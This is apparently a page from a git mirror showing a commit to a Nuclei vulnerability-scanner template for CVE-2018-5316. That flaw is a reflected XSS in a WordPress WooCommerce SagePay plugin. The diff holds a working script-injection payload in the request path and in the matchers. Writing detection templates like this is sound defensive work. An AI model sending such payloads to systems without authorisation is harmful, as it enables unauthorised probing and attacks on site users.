daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update CVE-2018-5316.yaml

patch-1
Ritik Chaddha 2023-07-25 00:02:08 +05:30
parent 1e7670e69d
commit 76a0b17d32
1 changed files with 7 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

9
http/cves/2018/CVE-2018-5316.yaml
View File

@ -19,22 +19,25 @@ info:
cpe: cpe:2.3:a:patsatech:sagepay_server_gateway_for_woocommerce:*:*:*:*:*:wordpress:*:* cpe: cpe:2.3:a:patsatech:sagepay_server_gateway_for_woocommerce:*:*:*:*:*:wordpress:*:*
metadata: metadata:
max-request: 1 max-request: 1
verified: true
framework: wordpress framework: wordpress
vendor: patsatech vendor: patsatech
product: sagepay_server_gateway_for_woocommerce product: sagepay_server_gateway_for_woocommerce
tags: cve2018,wordpress,xss,wp-plugin,woocommerce,packetstorm,cve tags: cve2018,wordpress,xss,wp-plugin,wp,woocommerce,packetstorm,cve
http: http:
- method: GET - method: GET
path: path:
- '{{BaseURL}}/wp-content/plugins/sagepay-server-gateway-for-woocommerce/includes/pages/redirect.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - '{{BaseURL}}/wp-content/plugins/sagepay-server-gateway-for-woocommerce/includes/pages/redirect.php?page=</script>"><script>alert(document.domain)</script>'
matchers-condition: and matchers-condition: and
matchers: matchers:
- type: word - type: word
part: body part: body
words: words:
- "</script><script>alert(document.domain)</script>" - '</script>"><script>alert(document.domain)</script>'
- 'Authenticate your card'
condition: and
- type: word - type: word
part: header part: header